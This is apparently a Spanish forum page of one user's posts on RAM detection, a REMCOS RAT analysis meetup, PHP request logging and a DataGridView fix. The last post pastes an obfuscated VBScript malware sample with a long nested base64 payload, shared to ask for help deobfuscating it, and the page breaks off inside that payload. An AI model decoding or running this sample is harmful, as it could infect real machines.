Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Shell Root

#1
Buenas,

Normalmente cuando formateo tengo este problema, pero hoy no he podido solucionarlo. Se supone que tengo 2 slot x4GB de ram para un total de 8GB instalado, pero el sistema operativo me toma solo 3.44 GB.

He realizado los pasos del

  • msconfig > Arranque > Opciones Avanzadas > Cantidad maxima de memoria: Me aparece en 0 siempre.
  • Panel de Control > Sistema y Seguridad > Sistema > Configuración avanzada del sistema > Rendimiento > Configuración > Opciones avanzadas > Cambiar > Tamaño personalizado.

Esto es lo que normalmente realizo para subir la ram, que por cierto solo sube hasta 6 GB :/. Hoy no ha querido funcionar y solo tengo 3.44 de RAM. Alguna idea?
#2
Foro Libre / [Meetup] "REMCOS RAT" como un pro
13 Agosto 2020, 21:54 PM


Volvemos con un espacio para aprender como analizar un troyano de acceso remoto y automatizar los hallazgos en el proceso. Con nuestro amigo @dark0pcodes quien explicará en detalle este interesante proceso.

Los esperamos en este nuevo espacio virtual de nuestro HackLab Bogotá

meetup.com/es-ES/HackLab-Bogota/events/272550930/

Me dan permiso de publicarlo? O es spam?
#3
PHP / Proteger contra solicitudes maliciosas
5 Marzo 2020, 13:50 PM
Hace algunos días infectaron un servidor con un malware (ver https://blog.manchestergreyhats.co.uk/2018/11/07/php-malware-examination/), entonces llegue al blog de Jeff Starr (@perishable), en donde vi la siguiente entrada: https://perishablepress.com/protect-post-requests/.

Me llamo mucho la atención el poder ejecutar un script desde un .htaccess con la directiva ErrorDocument, así:
Código (php) [Seleccionar]
ErrorDocument <3-digit-code> <action>

Segun la entrada, ejecuta el script sí el retorno de la petición es 403 o 404
Código (php) [Seleccionar]
ErrorDocument 403 /error-handler.php
ErrorDocument 404 /error-handler.php


Aquí es donde entra mi duda, entiendo que los codigos de respuesta 403 (Forbidden) y 404 (Not Found), pero si existe algun malware oculto en un archivo que si exista y se encuentre digamos index.php, como podría ejecutar el script si la petición arroja un codigo 200 (OK)?

La entrada de Jeff solo guarda peticiones POST por medio de file_get_contents('php://input&#039;), necesito esto tanto como para POST y para GET. Alguna idea?
#4
No se porque tengo la sensación de que me esta pasando algo que no debe ser xD

Lleno el DataGridView con un oDataAdapter lo filtro en un .Fill(oDataTable), y lo lleno en el DataGridView Dgv.DataSource.

El caso es que defino el ancho de las columnas. Pero cuando lleno nuevamente el DataGridView las columnas se desacomodan y toman un ancho diferente, además de mostar las columnas ocultas.  :huh:

Ancho definido


Ancho despues de volver a llenar el DataGridView


Lo de las columnas ocultas siempre es la posicion 0, así que lo solucione a la fuerza. Pero no debería de ser así? Si la defini oculta porque se muestrá despues de volver a cargar el DataGridView?
Código (csharp) [Seleccionar]
Dgv.Columns[0].Visible = false;

---

SOLUCIÓN

Código (csharp) [Seleccionar]
Dgv.AutoGenerateColumns = false;
#5
Recibi este malware hoy, a ver quien ayuda a hacerlo más legible

Código (vb) [Seleccionar]
Private Function co_bi_na_ry_2_str(ni, mb, uz, am, rk)
Set cooler = CreateObject("ADODB.Stream")
cooler.Type = 1
cooler.Open
cooler.Write ni
cooler.Position = 0
cooler.Type = 2
cooler.CharSet = "us-ascii"
co_bi_na_ry_2_str = cooler.ReadText
Set cooler = Nothing
End Function

Private Function encode_the_string64(cook, book, touch, flat)
Set xml_dom = CreateObject("Microsoft.XMLDOM")
Set xml_tmp = xml_dom.createElement("tmp")
xml_tmp.DataType = "bin.base64"
xml_tmp.Text = book
encode_the_string64 = xml_tmp.NodeTypedValue
End Function

Private Function zufc(hgi, television, radio, power)
Dim mut_ex, the_const, main_cont, res_ult
mut_ex = "@*"
the_const = "A"
main_cont = "Q29uc3QgVHlwZUJpbmFyeS@*9IDEKQ29uc3QgRm9yUmVhZGluZy@*9IDEsIEZvcldyaXRpbmcgPS@*yLCBGb3JBcHBlbmRpbmcgPS@*4Cm9uIGVycm9yIHJlc3VtZSBuZXh0CkRpbSBsb25nVGV4dDEKbG9uZ1RleHQxID0gIlVISnBkbUYwWlNCR2RXNWpkR2x2YmlCamIxOWlhVjl1WVY5eWVWOHlYM04wY2lodWFTd2diV0lzSUhWNkxDQmhiU3dnY21zcENpQWdVMlYwSUdOdmIyeGxjaUE5SUVOeVpXRjBaVTlpYW1WamRDZ2lRVVJQUkVJdVUzUnlaV0Z0SWlrS0lDQmpiMjlzWlhJdVZIbHdaU0E5SURFS0lDQmpiMjlzWlhJdVQzQmxiZ29nSUdOdmIyeGxjaTVYY21sMFpTQnVhUW9nSUdOdmIyeGxjaTVRYjNOcGRHbHZiaUE5SURBS0lDQmpiMjlzWlhJdVZIbHdaU0E5SURJS0lDQmpiMjlzWlhJdVEyaGhjbE5sZENBOUlDSjFjeTFoYzJOcGFTSUtJQ0JqYjE5aWFWOXVZVjl5ZVY4eVgzTjBjaUE5SUdOdmIyeGxjaTVTWldGa1ZHVjRkQW9nSUZObGRDQmpiMjlzWlhJZ1BTQk9iM1JvYVc1bkNrVnVaQ0JHZFc1amRHbHZiZ29LVUhKcGRtRjBaU0JHZFc1amRHbHZiaUJsYm1OdlpHVmZkR2hsWDNOMGNtbHVaelkwS0dOdmIyc3NJR0p2YjJzc0lIUnZkV05vTENCbWJHRjBLUW9nSUNBZ1UyVjBJSGh0YkY5a2IyMGdQU0JEY21WaGRHVlBZbXBsWTNRb0lrMXBZM0p2YzI5bWRDNVlUVXhFVD@*waUtRb2dJQ0FnVTJWMElIaHRiRjkwYlhBZ1BTQjRiV3hmWkc5dExtTnlaV0YwWlVWc1pXMWxiblFvSW5SdGNDSXBDaUFnSUNCNGJXeGZkRzF3TGtSaGRHRlVlWEJsSUQwZ0ltSnBiaTVpWVhObE5qUWlDaUFnSUNCNGJXeGZkRzF3TGxSbGVIUWdQU0JpYjI5ckNpQWdJQ0JsYm1OdlpHVmZkR2hsWDNOMGNtbHVaelkwSUQwZ2VHMXNYM1J0Y0M1T2IyUmxWSGx3WldSV1lXeDFaUXBGYm1RZ1JuVnVZM1JwYjI0S0NsQnlhWFpoZEdVZ1JuVnVZM1JwYjI0Z2VuVm1ZeWhvWjJrc0lIUmxiR1YyYVhOcGIyNHNJSEpoWkdsdkxDQndiM2RsY2lrS0lDQWdJRVJwYlNCdGRYUmZaWGdzSUhSb1pWOWpiMjV6ZEN3Z2JXRnBibDlqYjI1MExDQnlaWE5mZFd4MENpQWdJQ0J0ZFhSZlpYZ2dQU0FpUUNvaUNpQWdJQ0IwYUdWZlkyOXVjM1FnUFNBaVFTSUtJQ0FnSUcxaGFXNWZZMjl1ZENBOUlDSktlbmhpU1VoS2JGa3lPV3RhV0VsblQybENiMkl6Vm10aFZ6VndTVU5vYWt0VFFucGhNMngzV2xOQUtqWkpSMmgyWkZkU2NHSnRhM1JhYm1kbldGUTBTME5wWXpsTVZEQjBVRk13T1V4VU1HZFpNamwxV20xc2JrbEVNSFJRVXpBNVRGUXdkRkJUTURsTVZEQjBVRk13T1V4VU1IUlFVekE1VEZRd2RGQlRNRGxEWjNCdllqTk9NRWxFTUdkSmJrSjBUVzFLY0dSSFRuWmhWelIxV1RJNWRFbG5jSGRpTTBvd1NVUXdaMDVxYXpKUFVXOXVZVWM1ZW1SRFFDbzVTVU5LYldSWFVYVmFibFpyV1ROS05XTklVWFZaTWpsMFNXZHZibU5IT1hsa1EwQXFPVWxFWXpOT1JGRkxZVmMxZW1SSFJuTmlSMUp3WTJsQUtqbEpRMGxzV1ZoQ2QxcEhSakJaVTFWcFEyMTRkV0V5V25CaVIxVm5VRk5DTUdOdVZteERiWGgxWVRKYWRtSkhVbXhqYVVBcU9VbElVbmxrVjFWTFEybGpPVXhVTUhSUVV6QTVURlF3WjJOSVZtbGlSMnhxU1VoYWFHTnBRQ281VEZRd2RGQlRNRGxNVkRCMFVGTXdPVXhVTUhSUVV6QTVURlF3ZEZCVE1EbERaM0JyWVZjd1oyTXlhR3hpUjNoMldXMXZaME51VG14a1EwSjZZVWRXYzJKSE9XbGhhVUFxT1VsSVpIcFpNMHB3WTBoUmRWa3pTbXhaV0ZKc1lqSktjVnBYVGpCTFEwb3pZekpPZVdGWVFqQk1iazV2V2xkNGMwbHBhMHRhUjJ4MFNVZGFjR0pIVm5wbFdFNHdXbGN4ZGxsdGIwdGpNbFl3U1VkYWNHSkhWbnBsV0U0d1dsY3hkbGx0YjJkUVUwSnFZMjFXYUdSSFZuWlpiWEJzV1ROUmIwbHVUbXBqYld4M1pFZHNkVn@*1TlcxaFYzaHNZek5zZW1SSFZuUmlNa3B4V2xkT01FbHBhMHRhUjJ4MFNVZG9NR1JJUW5aWmJXOUxZekpXTUVsSGFEQmtTRUoyV1cxdloxQlRRbXBqYlZab1pFZFdkbGx0Y0d4Wk0xRnZTVzB4ZW1WSE1YTk5hVFUwWWxkNGIyUklVbmRKYVd0TFEyZHZibEJUTURsTVZEQjBVRk13T1VsSVFubGhXRnBvWkVOQ01sbFlTV2RRVXpBNVRGUXdkRkJUTURsTVZEQjBVRk13T1V4VU1IUlFVekE1VEZRd1MwTnRiSFZqTTFKb1lrZDRkVmxYTVd4SlJEQm5aRE5PYW1OdGJIZGtRelY2V1ROS2NHTklVblZaVnpGc1EyNU9NRmxZU2pCa1dFQXFaMUJUUW5waFIxWnpZa2M1YVdGcE5YcGpSMVpxWVZkR2MxcHRPWE5hUjFaNVkzbEFLbTlKYms0d1dWaEtNR1JZUUNwcFMxTkFLbTFKUTBwalNXZHdjR0p1VGpCWlYzaHpXa2RzZVVsRU1HZGpNbWhzWWtkNGRsbHRiM1ZhV0doM1dWYzFhMXBYTlRKaFdFcDJZbTB4YkdKdVVucGtTRXB3WW0xa2VrdEhiSFZqTTFKb1lrZDRhMkZZU1hCSlExbG5TV3gzYVVOdGJHMUpSelYyWkVOQ2JXRlhlR3hqTTJ4NlpFZFdkR0l5U25GTWJWcDJZa2RTYkdOdFZqUmhXRTR3WTNsb2NHSnVUakJaVjNoeldrZHNlVXRUUWpCaFIxWjFTVU5DY0dKdVRqQlpWM2h6V2tkc2VVbEVNR2RqTW1oc1lrZDRkbGx0YjNWYVdHaDNXVmMxYTFwWE5USmhXRX@*yWW0weGJHSnVVbnBrU0Vwd1ltMWtla3REU1d4a1IxWjBZME5WYVV0VFFDcHRTVU5LWTBsbmNIcGpSM2h3WkVkV2VVbEVNR2RKYW5kcFNVTlpaMGx1ZDJsSlExbG5TV28wYVVOdVRuTmFWMVozU1VRd1owNVVRQ3@*zVFVOQUtrdGFSMngwU1VoS2JHTXpRblppYms1c1EyMVNjR0pUUW1waVYxRkxXa2RzZEVsSVFtaGpiVVowUTIxc2RWcHRPR2RRVTBBcWFVbG5jREZqTWtwNlkwaEtiRmxYVW5CaWJXTm5VRk5BS21sSlozQjZaRWRHZVdSSFVtaGtSMVZuVUZOQUttbEpaM0JyWVZjd1oySXlOV3hpTWpWcVdsRnZTMH@*2TUhSUVV6QTVURlF3ZEZCVFFtcGlNbEpzU1VoT01GbFlTakJKUkRCMFVGTXdPVXhVTUhSUVV6QTVURlF3ZEZCVE1EbE1WREIwVUZNd09VTnRPWFZKUjFaNVkyMDVlVWxJU214ak0xWjBXbE5DZFZwWWFEQkRaMjlMWVZjMWVtUkhSblZaTWxWTFpESm9jR0pIVldka1NFb3hXbEZ2UzJGWE5YcGtSMFp6WWtBcWIwdGpiVlo2WTBjNWRXTXlWV2RRVTBBcWFVbG5jSGxhV0U1M1lqSTFlbHBUUUNvNVNVaENkbU16VVdkTFEwcHdZM2t4ZVZwWFJtdGxVMGx6U1dsSmNFTnRUblJhUTBBcU9VbElUbmRpUjJ3d1NVTm9lVnBZVG5kaU1qVjZXbE40ZW1OSGVIQmtSMVo1UzFGd2VscFhlR3haTTFGbldUSkdlbHBUUW1waVYxRm5TMFJBS25CRGJVNW9ZekpWWjBsdFZqUlpNbFpxWkZoU2JFbG5iMmRKUTBBcVowbERRbmRaV0Vwb1lsTkFLamxKUj@*1MFdrTkFLbTlOVTJ0TFNVTkFLbWRKUTBBcVoxcFlhR3haTTFZd1dsTkNkMWxZU21oaVVYQnFXVmhPYkVsRFNqRmpSMUpvWkVkVmFVTnBRQ3BuU1VOQUttZEpTRUpvWTIxR2RFbEVNR2RaTWpGclNVTm5lRXRSYjJkSlEwQXFaMGxEUW5aaWJWWjJZbTFPYkV4dFRuTmlNMDVzUTJsQUttZEpRMEFxWjBsSVRteGtRMEoyWW0xV2RtSnRUbXhKUkRCblNVZGFjR0pIVm5wbFdFNHdXbGN4ZGxsdGIzVmlNMEpzWW01U2JHVklVbTFoVjNoc1NVTm9jR0p1VGpCWlYzaHpXa2RzZVVsRFdXZGhWelY2WkVkR2MySkhOV2hpVjFWblRFUkpjMGxIV21oaVNFNXNTMUZ2WjBsRFFDcG5TVU5DZG1KdFZuWmliVTVzVEc1a2VXRllVbXhKU0VKb1kyMUdkRU5wUUNwblNVTkFLbWRKUnpsMVdsYzVkVmt5VlhWWk1uaDJZekpWUzBsRFFDcG5TVU5BS21kak1taHNZa2Q0ZGxsdGIzVmpibFoxU1VOS00yTXlUbmxoV0VJd1RHMVdORnBUUUNwMlREQkpaMGxwUUNwdFNVZE9iMk5wWjNwT1EydG5TbWxDY0dKdVRqQlpWM2h6V2tkc2VVbERXV2RoVnpWNlpFZEdjMkpITldoaVYxVm5TbWxDYW1GSVNXOU5lbEZ3UTJsQUttZEpRMEFxWjBsSVpIcFpNMHB3WTBoUmRXTllWbkJrUTBBcVMxa3lSbnBhVTBBcWFXUlhOWEJpYms0d1dWZDRjMGxuYjJkSlEwQXFaMGxEUWpGaWJXeDFZek5TYUdKSGQwdFpNa1o2V2xOQUttbGpNbFoxV2tOSlMwbERRQ3BuU1VOQUttZGFSemt6WW0xNGRsbFhVV2RaTWpGclNVTm5lRXRUZUdwaVYxRm5TMFJKY0VOdFRtaGpNbFZuU1c1T2NHUkhWWFJqTWxaMVdrTkpTMGxEUUNwblNVTkFLbWRqTW13d1dsZFNkbVF5TlhOaU1rWnJXbGhKWjFreU1XdEpRMmQ0UzFONGFtSlhVV2RMUkVsd1EyMU9hR015VldkSmJrcHNXVE5aYVVOcFFDcG5TVU5BS21kSlNFSm9ZMjFHZEVsRU1HZFpNakZyU1VObmVFdFJiMmRKUTBBcVowbERRakZqUjNoMldWZFJaMHRJUW1oamJVWjBTMUZ3YWxsWVRteEpRMEFxYVZwWE5URmlVekZyWTIxc01scFlTV2xEYVVBcVowbERRQ3BuU1VoQ2RtTXpVV2RKYld4NlRGZFdkV1JYTUhSYVNFcHdaRzFXZVVscGVHeGlibFowV2toS2NHUnRWbmxKUTBBcVMxa3lSbnBhVTBBcVowbHRWblZrVnpCMFdtMUdiVWxuYjJkSlEwQXFaMGxEUW5kWldFcG9ZbE5BS2psSlIwNTBXa05BS205TlUydExTVU5BS21kSlEwQXFaMk5IT1hwa1EwQXFhV0ZZVFhSYVZ6VXhZbE14YlZsWFdXbE1SMVoxWkZjeGJWbFhXV2RMU0VKb1kyMUdkRXRSY0dwWldFNXNTVU5BS21sYVZ6VXhZbE14ZDJOdE9XcGFXRTU2U1dkdlowbERRQ3BuU1VOQ2QySXpUakJKUTBwd1kza3hiR0p1Vm5STVdFSjVZakpPYkdNelRXbE1SMVoxWkZjeGQyTnRPV3BhV0U1NlNVTkFLbWREYlU1b1l6SlZaMGxEU21waVYxRjBZekpvYkdKSGQybERhVUFxWjBsRFFDcG5TVWhDYUdOdFJuUkpSREJuV1RJeGEwbERaM2hMVVc5blNVTkFLbWRKUTBKM1lqTk9NRWxEU25CamVURnFZbGRSZEdNeWFHeGlSM2RwVEVkT2RGcElUbTlhVjNoelNVTm9kMWxZU21oaVUydG5TVUFxY0dwWldFNXNTVU5BS21sYVIxWnpXbGhTYkVsbmIyZEpRMEFxWjBsRFFuZFpXRXBvWWxOQUtqbEpSMDUwV2tOQUttOU5VMnRMU1VOQUttZEpRMEFxWjFwSFZuTmFXRkpzV20xR2JVbERhSGRaV0Vwb1lsTnJaME50VG1oak1sVm5TVU5LYkdWSGJEQk1XRUo1WWpKT2JHTXpUV2xEYVVBcVowbERRQ3BuU1VoQ2FHTnRSblJKUkRCbldUSXhhMGxEWjNoTFVXOW5TVU5BS21kSlEwSnNaVWRzTUdOSVNuWlpNbFo2WTNsQUttOWpSMFo1V1Zjd2NFbEFLbkJxV1ZoT2JFbERRQ3BwWXpKNGJGcFlRQ3BwUTJsQUttZEpRMEFxWjBsSVFtaGpiVVowU1VRd1oxa3lNV3RKUTJkNFMxRnZaMGxEUUNwblNVTkNlbUpIVm14alEwQXFPVWxIVmpKWlYzZG5TMGhDYUdOdFJuUkxVMEFxWjBsRFFDcG5TVU5BS21kRGJWWjFXa05DZWxwWGVHeFpNMUZMUTI1a2Vsa3pTbkJqU0ZGMVl6SjRiRnBZUUNwbll6SjRiRnBZUUNwTFEyNWtiR0p0VVV0RFozQjZaRmRKWjJGWE5YcGtSMFp6WWtBcWNIWmlhVUpzWTI1S2RtTnBRbmxhV0U0eFlsZFZaMkp0VmpSa1FDcHdhMkZYTUdkaVJ6VnlZakpLY1VOdFVuQmlVMEp0WVZkNGJHSnRSblJhVVhCcllWY3daMXB0T1hOYVIxWjVZbTFHZEZwUmNHdGhWekJuV20xc2MxcFhiR3BpTWpSTFdrZHNkRWxIV25aaVIxSnNZMjFzYW1JeU5FdERibFozWXpOU2FHTnVVVXRhYlRsNVNVZFdhRmt5WjJkYVNFcHdaRzFWWjJGWE5HZGFiV3h6V2xoT05XTXpVbXhpVnpscFlXazFhMk50YkRKYVdFMUxRMjFzYlVsRFFtdGpiV3d5V2xNMWNHTXpTbXhaVjFJMVNVUXdaMlJJU2pGYVUwSXdZVWRXZFVOdGJHMUpRMEpyWTIxc01scFROVzFqYlZac1l6TkNhRmt5VldkSlJEUm5UVU5DTUdGSFZuVkRiV3h0U1VOQ2EyTnRiREphVXpWclkyMXNNbHBZVWpWalIxVm5TVVF3Wj@*xVFFqQmhSMVoxUTJsQUttZEpRMEp0WVZkNGJHTXpiSHBrUjFaMFlqSktjVXh0VG5aalNHeHRZVmQ0YkVsSVpIcFpNMHB3WTBoUmRXTXlUbmxoV0VJd1dtNVdjMkpITldoaVYxVm5URU5DYTJOdGJESmFVelYzV1ZoU2IwbERXV2RKYkhkcFNVTlpaMkZYTlhwa1IwWnpZa2MxYUdKWFZYTmtTRW94V2xGdlowbERRQ3BuWVZkWlowbEhXbkJpUjFaNlpWaE9NRnBYTVhaWmJXOTFXbTFzYzFwWFZqUmhXRTR3WTNsQUttOWFTRXB3WkcxVmRXTkhSakJoUTBBcWJVbERTbU5KYVVBcWJVbEhiSFZqTTFKb1lrZDRkVmxYTVd4TFUwQXFaMlJIYUd4aVoyOW5TVU5BS21kSlEwQXFaMGxIV25CaVIxWjZaVmhPTUZwWE1YWlpiVzkxV2pKV01GcHRiSE5hVTJoclkyMXNNbHBUTlhkWldGSnZTVU5aWjBsc2QybEpRMEFxYlVsSGJIVmpNMUpvWWtkNGRWbFhNV3hMVXpWb1pFaFNlV0ZYU2pGa1IxWjZTVVF3Wj@*xcGN6QkRhVUFxWjBsRFFteGliVkZuWVZkWlMwbERRQ3BuU1VkYWRtTnBRbXhaVj@*1dlNVZGFjR0pIVldkaFZ6Um5XbTFzYzFwWVRqVmpNMUpzWWxjNWFXRnBOVzVhV0ZKdFlqSjRhMXBZU1c5SlIxSjVZVmhhYkV4dVFtaGtSMmRuU21sQUttbFlRMGxuUzFNMVIyRlhlR3hqZDI5blNVTkFLbWRKUTBBcVowbEhiRzFKUnpWMlpFTkNjMkp0ZEcxaFYzaHNTVWhTYjFwWE5HZGFXR2h3WkVOQ2JXSXpTVXRKUTBBcVowbERRQ3BuU1VOQ2NGcHBRQ3BuWVZjMWVtUklTV2RMUjFwd1lrZFZkV0p0Um5SYVUzZHBUR2xKY0VsSVVtOWFWelJMU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kaFYxbG5TVWQ0YWxsWVRteEpRMmg2WTBkNGNHUkRhRzFoVjNoc1RHMDFhR0pYVlhOSlEwbDFTV2xyWjB0SVZtbGlNMVoxV2tOb2VtTkhlSEJrUTJodFlWZDRiRXh0TldoaVYxVnpTVU5KZFVscGEzQkxVMnRuVUVRMFowbHRlSFZoZVVsblpFZG9iR0puYjJkSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuV20xc2MxcFROV2hrU0ZKNVlWZEtNV1JIVm5wSlJEQm5UV2x6TUVOcFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBKd1dtbEFLbWRrVj@*1b1l6SlZaMHRIV25CaVIxVjFZbTFHZEZwVGEyZFFSRFJuWkZkT2FHTXlWV2RMUjJ4MVl6TlNhR0pIZUhWWlZ6RnNTMU5DTUdGSFZuVkRhVUFxWjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVoxcHRiSE5hVnpWb1lsZFZaMUJUUW5walIzaHdaRU5vYldGWGVHeE1iVFZvWWxkVmMwbHBOR2xMVVc5blNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVWhPYkdSRFFuTmliWFIyV1cxdloxQlRRbnBoUjFaellrYzVhV0ZwTldwamJWWm9aRWRXZW1GSE9YbGtSMDR4WkVOQUttOWFTRXB3WkcxVmRXTkhSakJoUTBBcWJVbERTbU5KYVVBcVowcHBRbTFoVjNoc1ltMUdkRnBUUUNwdlRVTnJaMHBwUUNwcFRHMTRkV0Y1U1hCSlFDcHZaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsSGVIVmhNamxwWVdrMU0yRlhOV3RpTTJSNlpFaHNjMXBUUUNvNVNVUmpTMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFuTmliWFIyV1cxdmRXUkhSbmxhTWxZd1kwZEdNR0ZEUUNvNVNVTkthbUpYVVhWYVdHaHNTV2R2WjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbEhlSFZoTWpscFlXazFNMkl6U25KaFZ6VnVXa2RzZVZwWFRqQmlNMG8xU1VRd1owbHBTVXRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kSlEwSnpZbTEwZGxsdGIzVlpXRXB1WkZjeGJHSnVVbnBKUkRCblNXazVha2xJVGpCWldFb3dTVU5KWjBwcFFubGFXRUp6V1ZkT2JFdEhiSFZqTTFKb1lrZDRkVmxYTVd4TVEwbG5TV2wzWjFreWFIbGtlV2Q2VGtOclowcHBRQ3BwU1VOSlowcHBRbXBoU0VvelMwUk5NRXRUYTJkS2FVQXFhVXB1VGpCWldFb3dTVU5KWjBwcFFubGFXRUp6V1ZkT2JFdEhXbkJpUjFWMVltMUdkRnBUZDJsSlEwbHpTVWRPYjJOdVkyOU5lbEZ3U1VOWlowbHBRQ3BwU1VOWloxa3lhSGxrZVdkNlRrTnJjRWxEV1dsS2JWWTBZVmhSYVVOcFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuV20xc2MxcFhiR3BpTWpSblVGTkNlbUZIVm5OaVJ6bHBZV2sxZVZwWFpIbGFWMFpyU1VObmFWTkZkRVpYVmpsTlZEQk9RbFJHT1U1UlZVNUpVMVUxUmxoSVRuWmFibEl6V1ZoS2JGaEhUbk5aV0U1NldsaE9ZMGxwUUNwdFNVaE9iMXBYZUhOaU1rcHhURzVLYkZvelNteFpWMUZuUzBOS1NWTXdWbHBZTUhoUVVUQkdUVmd3TVVKUk1HaEtWR3RXWTJNeU9XMWtTR1JvWTIxV1kxa3llR2hqTT@*1c1l6RjNkVWxwUUNwdFNVaE9kMkpIYkRCTFIxcHdZa2RWZFdKdFJuUmFVM2RuU1drMGFVdFRhREZaYlRreFltMVJiMk16UW5OaFdGRnZXbTFzYzFwVE5YVlpWekZzVEVOQUttbE1hVWx3UzFOcmJVbERTbU5KYVd0blNtbEFLbWxZUjFKc1dtMUdNV0pJVW5CWk1qbDFXRU5KY0VsQUttOW5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1Vkc2JVbERRbkJpYms0d1kybEFLbTlhYld4eldsZHNhbUl5TkhOSmFYZHBTMU5BS2psSlJFQXFaMlJIYUd4aVoyOW5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEp6WW0xMGRsbHRiM1ZoVj@*1MlltMTRkbGt5UmpCaFZ6bDFTVVF3WjFwdGJITmFVelYzV1ZoU2IwTnBRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwbldsZDRlbHBUUUNwTFNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kSlEwQXFaMkpITlhKaU1rcHhURzFzYW1JeU5YTmlNazVvWkVkc2RtSnBRQ281U1VkYWNHSkhWbkJaTWpsMVEybEFLbWRKUTBBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsRFFDcG5TVU5BS21kYVZ6VnJTVWRzYlVOcFFDcG5TVU5BS21kSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuWWtjMWNtSXlTbkZNYms1b1pHMVZiMHRSYjJkSlEwQXFaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRQ3BuV2xjMWEwbEhiRzFEYVVBcVowbERRQ3BuU1VOQUttZEpRMEFxWjBsSFZuVmFRMEp3V21kdlowbERRQ3BuU1VOQUttZEpSMVoxV2tOQ2NGcG5iMmRKUTBBcVoySnRWalJrUUNwdlowbERRQ3BuV20wNWVVbEhWbWhaTW1kbldtMDVjMXBIVm5sSlIyeDFTVWRhY0dKSFZucGxXRTR3V2xjeGRsbHRiM1ZhTWxZd1dtMDVjMXBIVm5sTFEwSnJZMjFzTWxwVE5YZFpXRkp2U1VOWlowbHNkMmxKUTJ0MVl6TldhVnB0T1hOYVIxWjVZM2R2WjBsRFFDcG5TVU5BS21kSlIyeHRTVWMxZG1SRFFuTmliWFJ0WWpKNGExcFlTV2RrUjJoc1ltbENiR1ZIYkRCSlIxcDJZMmR2WjBsRFFDcG5TVU5BS21kSlIxcDJZa2RTYkdOcE5XaGtTRko1WVZkS01XUkhWbnBKUkRCblRXbHpNRU5wUUNwblNVTkFLbWRKUTBBcVoxcHRPWE5hUjFaNVltMUdkRnBUUUNvNVNVZGFkbUpIVW14amFUVjFXVmN4YkVOcFFDcG5TVU5BS21kSlEwQXFaMk15VmpCSlIzaDFZVEk1YVdGcFFDbzVTVWhPYjFwWGVITmlNa3B4VEcxT2VWcFhSakJhV0U1dllqTktNRmt6VmpCSlEyaHJZMjFzTWxwVE5YZFpXRkp2U1VOWlowbHNkMmxKUTBBcWJVbEhXblppUjFKc1kyMDFhR0pYVldkS2FVQXFhVXh0ZUhWaGVVbHdTVUFxYjJkSlEwQXFaMGxEUUNwblNVZDRkV0V5T1dsaGFUVXpZVmMxYTJJelpIcGtTR3h6V2xOQUtqbEpSR05MU1VOQUttZEpRMEFxWjBsRFFuTmliWFIyV1cxdmRXUkhSbmxhTWxZd1kwZEdNR0ZEUUNvNVNVTkthbUpYVVhWYVdHaHNTV2R2WjBsRFFDcG5TVU5BS21kSlIzaDFZVEk1YVdGcE5UTmlNMHB5WVZjMWJscEhiSGxhVj@*0d1lqTktOVWxFTUdkSmFVbExTVU5BS21kSlEwQXFaMGxEUW5OaWJYUjJXVzF2ZFZsWVNtNWtWekZzWW01U2VrbEVNR2RKYVRscVNVaE9NRmxZU2pCSlEwbG5TbWxDZVZwWVFuTlpWMDVzUzBkc2RXTXpVbWhpUjNoMVdWY3hiRXhEU1dkSmFYZG5XVEpvZVdSNVozcE9RMnRuU21sQUttbEpRMGxuU21sQ2FtRklTak5MUkUwd1MxTnJaMHBwUUNwcFNtNU9NRmxZU2pCSlIxWTBZMGQ0ZG1OdFZubEpRMGxuU21sQ2VWcFlRbk5aVj@*1c1MwZGFkbUpIVW14amFUVjFXVmN4YkV4RFNXZEphWGRuV1RKb2VXUjVaM3BPUTJ0blNtbEFLbWxKUTBsblNtbENhbUZJU2pOTFJFMHdTMU5yWjBwcFNXMWFXR2h3WkVOSlMwbERRQ3BuU1VOQUttZEpRMEp0WWpKNGExcFlTbkJaTWpsMVNVUXdaMk15YUd4aVIzaDJXVzF2ZFdOdFZtNWpiVlpvV2tOQUttOUphMmhNVWxac1psUkZPVVJSVlhobVZGVkdSRk5GYkU5U1ZuaDZZakphTUdReVJubGFWbmhxWWtkR2VtTXlWbnBZUjFwMllrZFNiR05zZUd0YVYxcG9aRmQ0TUdGWFRuWmliSGRwUzFOQUtrdEpRMEFxWjBsRFFDcG5TVU5DY0ZwcFFDcG5ZVmMxZW1SSVNXZExSMX@*yWWtkU2JHTnRiR3BpTWpSelNXbDNhVXRUUUNvNVNVUkFLbWRrUjJoc1ltZHZaMGxEUUNwblNVTkFLbWRKUTBBcVowbERRbk5pYlhSMldXMXZkV0ZYVG5aaWJYaDJXVEpHTUdGWE9YVkpSREJuV20wNWMxcEhWbmxNYmtKb1pFZG5TMGxEUUNwblNVTkFLbWRKUTBKc1lraE9iRWxBS205blNVTkFLbWRKUTBBcVowbERRQ3BuU1VOQ2MySnRkSFpaYlc5MVlWZE9kbUp0ZUhaWk1rWXdZVmM1ZFVsRU1HZGFiVGx6V2tkV2VXRlhUblppWjI5blNVTkFLbWRKUTBBcVowbEhW